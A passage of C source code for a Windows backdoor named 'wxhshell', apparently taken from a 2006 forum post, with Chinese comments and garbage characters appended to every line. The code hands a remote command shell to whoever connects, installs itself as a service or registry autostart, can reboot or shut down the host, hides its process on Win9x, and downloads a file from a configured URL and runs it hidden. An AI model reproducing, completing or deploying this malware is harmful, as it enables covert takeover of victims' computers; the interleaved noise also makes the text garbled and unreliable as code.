  case '?': { as73/J6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ujn7DBE"  
    break; 6P T)  
  } a$EudD#+  
  // 安装 r]'[qaP  
  case 'i': { dUBf.2 ry  
    if(Install()) cj4o[l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _aU :[v*!  
    else `46|VQAx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S\ K[l/  
    break; z%]3`_I  
    } M96Nt&P`  
  // 卸载 qYPgn _  
  case 'r': { -UWyBM3c@  
    if(Uninstall()) 7:zoF], s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &p+2Vz{  
    else *'BI=* `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BC85#sbl  
    break; I-Q(kWc  
    } L<G6)'5W  
  // 显示 wxhshell 所在路径 i)/#u+Y1P  
  case 'p': { (S?qxW?  
    char svExeFile[MAX_PATH]; aI;fNy /K  
    strcpy(svExeFile,"\n\r"); t]{, 7.S  
      strcat(svExeFile,ExeFile); y#P _ }Kfo  
        send(wsh,svExeFile,strlen(svExeFile),0); E*yot[kj  
    break; k!T-X2L=  
    } [,Y;#;   
  // 重启 7CCSG{k  
  case 'b': { a *bc#!e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @7t*X-P.;-  
    if(Boot(REBOOT)) -^*8D(j*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%Jm-^F I  
    else { m;sYg  
    closesocket(wsh); KkJE-k*D+w  
    ExitThread(0); MM~4D  
    } !95Q4WH-@  
    break; &m`@6\N(  
    } fG<[zt\e  
  // 关机 #%]?e N  
  case 'd': { CHdYY7\{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;p"#ZS7  
    if(Boot(SHUTDOWN)) <^+&A7 Q-_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V oyRB2t  
    else { M2A3]wd2a  
    closesocket(wsh); oMxpdG3y-  
    ExitThread(0); S,s") )A1  
    } (9)uZ-BF,  
    break; [C3wjYi  
    } U9Lo0K  
  // 获取shell tbB.n  
  case 's': { ^J@ Xsl  
    CmdShell(wsh); ;?gR,AKZ  
    closesocket(wsh); G[ q<P  
    ExitThread(0); '<wZe.Q!  
    break; kqCUr|M.P  
  } m.U&O=]5  
  // 退出 V^\b"1X7N  
  case 'x': { ?aZ\D g{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <2\Q Y  
    CloseIt(wsh); d 8z9_C-  
    break; L @8[.  
    } c- [IgX e  
  // 离开 WWA!_  
  case 'q': { )IuwI#pm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lf,C5 0  
    closesocket(wsh); 3UcOpq2i\  
    WSACleanup(); UvGX+M,z'  
    exit(1); CasFj9,  
    break; ,*wj~NE  
        } jG^OF5.  
  } ra]\!;}L0  
  } UQ2;Dg G%  
mW."lzIl  
  // 提示信息 \U?{m)N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A:?w1"7gT  
} ."j*4  
  } ZQ~EaI9R  
.a|ROjd!  
  return; XOzZtt  
} n{E + r  
1gH>B5`  
// shell模块句柄 Byns6k  
int CmdShell(SOCKET sock) 'L6+B1Op  
{ IUy5=Sl   
STARTUPINFO si; 5{#ya 2  
ZeroMemory(&si,sizeof(si)); ,) }-mu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iu'rc/=V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3]/Y= A  
PROCESS_INFORMATION ProcessInfo; BeM|1pe.  
char cmdline[]="cmd"; !7uFH PK-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h{Y#. j~aS  
  return 0; I\VC2U  
} T(bFn?  
I=V]_Ik4 N  
// 自身启动模式 7/Mhz{o;W  
int StartFromService(void) (a8oI )~  
{ YwF\  
typedef struct {q BbzBG  
{  av!~B,  
  DWORD ExitStatus; mvBUm-X  
  DWORD PebBaseAddress; H{*R(S<I  
  DWORD AffinityMask; ;gW?Fnry;  
  DWORD BasePriority; nB , &m&  
  ULONG UniqueProcessId; JZ0u/x5  
  ULONG InheritedFromUniqueProcessId; 9/50+2F  
}   PROCESS_BASIC_INFORMATION;  TGozoPV  
@RS|}M^4  
PROCNTQSIP NtQueryInformationProcess; CA ,0Fe3  
J_ `\}55n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qgsKbsl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4N{^niq7  
b~m|mb$  
  HANDLE             hProcess; Edav }z  
  PROCESS_BASIC_INFORMATION pbi; !CuLXuM  
" ZFK-jn/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MXuiQ;./  
  if(NULL == hInst ) return 0; ESv&x6H  
wz 5*?[4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0t}&32lL&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Amvl/bO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (B;rjpK  
V|bN<BYJ  
  if (!NtQueryInformationProcess) return 0; SN|:{Am  
v"smmQZik  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #k<j`0kiq  
  if(!hProcess) return 0; ,(CIcDJ2U_  
0~j0x#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V$<5`  
SgPvQ'\  
  CloseHandle(hProcess); EXYr_$gRs  
W%cJ#R[o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g"L$}#iTsl  
if(hProcess==NULL) return 0; fRd^@@,[  
v/WvT!6V`  
HMODULE hMod; Gd%E337d  
char procName[255]; nc.X+dx:  
unsigned long cbNeeded; *f$wmZ5A  
WT>2eMK[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K ZSvT{  
[!#<nY/C  
  CloseHandle(hProcess); GFBku^pi  
Q#rj>+?  
if(strstr(procName,"services")) return 1; // 以服务启动 4>W ov  
eo&nAr  
  return 0; // 注册表启动 5m&Zq_Qe  
} S&YC"  
<; Bv6.Z  
// 主模块  ,L}  
int StartWxhshell(LPSTR lpCmdLine) pe$l'ur  
{ |\MgE.N  
  SOCKET wsl; m dTCe HX  
BOOL val=TRUE; vMV}M%~  
  int port=0; 2bk~6Osp  
  struct sockaddr_in door; pT`oC&  
O o+pi$W  
  if(wscfg.ws_autoins) Install(); UMbM3m=\  
L) ]|\|  
port=atoi(lpCmdLine); mxJ& IV  
qE&R.I!o  
if(port<=0) port=wscfg.ws_port; 4R/cN' -  
"?UBW5nM#  
  WSADATA data; &z(E-w/S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L^0s  
X) peY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5J4'\M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A7qKY-4B  
  door.sin_family = AF_INET; .v{ok,&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o1 kY|cnGH  
  door.sin_port = htons(port); 89[5a  
ub/9T-#l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { = j,Hxq  
closesocket(wsl); Y[ciT)  
return 1; 5dE@ePO[/9  
} j!:^+F/  
&6`h%;a/&  
  if(listen(wsl,2) == INVALID_SOCKET) { 58@YWv Ak  
closesocket(wsl); EBX+fzjQo  
return 1; M3U*'A\  
} sV)) Z2sq  
  Wxhshell(wsl); U\ Et  
  WSACleanup(); xQ=sZv^M  
|99/?T-QW  
return 0; eZMDtB  
V6C*d:  
} =x/Ap1  
O:Ixy?b;Z  
// 以NT服务方式启动 nM1F4G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =-e` OHA  
{ Pu=,L#+FN  
DWORD   status = 0; {m )$b  
  DWORD   specificError = 0xfffffff; 5HZt5="+  
.MzVc42<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YnzhvE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1sqBBd"=PY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j[Y$)HF  
  serviceStatus.dwWin32ExitCode     = 0; kIlc$:K^  
  serviceStatus.dwServiceSpecificExitCode = 0; 1@)kNg)*$  
  serviceStatus.dwCheckPoint       = 0; ' R!pc  
  serviceStatus.dwWaitHint       = 0; 6{ql.2 Fa  
]c.1&OB7o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1yS [;  
  if (hServiceStatusHandle==0) return; W'BB FG  
SCCBTpmf2B  
status = GetLastError();  a9ko3L  
  if (status!=NO_ERROR) ")t ^!x(v  
{ NYoh6AR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s^@?+<4:  
    serviceStatus.dwCheckPoint       = 0; I$Bu6x!  
    serviceStatus.dwWaitHint       = 0; XvU^DEfW  
    serviceStatus.dwWin32ExitCode     = status; PtUea  
    serviceStatus.dwServiceSpecificExitCode = specificError; `*J;4Ju@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \<}4D\qz  
    return; v\3:R,|'  
  } arR9uxP  
D+Ke)-/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6fozc2h@x%  
  serviceStatus.dwCheckPoint       = 0; }Ss]/ _t  
  serviceStatus.dwWaitHint       = 0; ;wi}6rF%[i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (}W+W\.  
} sw={bUr6G`  
Li jisE  
// 处理NT服务事件,比如:启动、停止 3++}4%w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R aVOZ=^-  
{ hmRnr=2N  
switch(fdwControl) =ZE]jmD4P  
{ Df\~ ZWs!  
case SERVICE_CONTROL_STOP: v-k~Q$7~  
  serviceStatus.dwWin32ExitCode = 0; PgeC\#;9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -K 7jigac  
  serviceStatus.dwCheckPoint   = 0; llCBqWn  
  serviceStatus.dwWaitHint     = 0; b'!t\m  
  { OlW|qj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''{REFjK7  
  } vr,8i7*0  
  return; [z2XK4\e1T  
case SERVICE_CONTROL_PAUSE: bjQp6!TsZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -|ho 8alF  
  break; cmLGMlFT  
case SERVICE_CONTROL_CONTINUE: .l| [e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 66P'87G  
  break; #y<KO`Es  
case SERVICE_CONTROL_INTERROGATE: iYqZBLf{S  
  break;  kYls jM  
}; 0pO{{F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T<hS  
} s$cr|p;7#  
'MM%Sm,  
// 标准应用程序主函数 81gcM?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6zo'w Wc3  
{ *>lh2ssl L  
\~sc6ho  
// 获取操作系统版本 |[/<[@\''  
OsIsNt=GetOsVer(); DChqcdx~~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {XHAQ9'  
PTU_<\  
  // 从命令行安装 V`/ E$a1&  
  if(strpbrk(lpCmdLine,"iI")) Install(); UlG8c~p  
=cwQG&as  
  // 下载执行文件 :~I^ni  
if(wscfg.ws_downexe) { {X85  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [~3[Tu( C  
  WinExec(wscfg.ws_filenam,SW_HIDE); g*]hmkYe9  
} ))/NGa  
(=2-*((&(A  
if(!OsIsNt) { W'|NYw_B  
// 如果时win9x,隐藏进程并且设置为注册表启动 :]Nn(},  
HideProc(); :%6OFO$z  
StartWxhshell(lpCmdLine); ($Cy-p  
} #%4XZ3j#j;  
else "!V-@F$@N  
  if(StartFromService()) R`[jkJrc  
  // 以服务方式启动 B]KR*  
  StartServiceCtrlDispatcher(DispatchTable); {iGy@?d)zt  
else aVg~/  
  // 普通方式启动 Dq [ f  
  StartWxhshell(lpCmdLine); F@8G,$  
N('=qp9  
return 0; $?_/`S13  
}
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只看该作者 1 发表于: 2006-10-10
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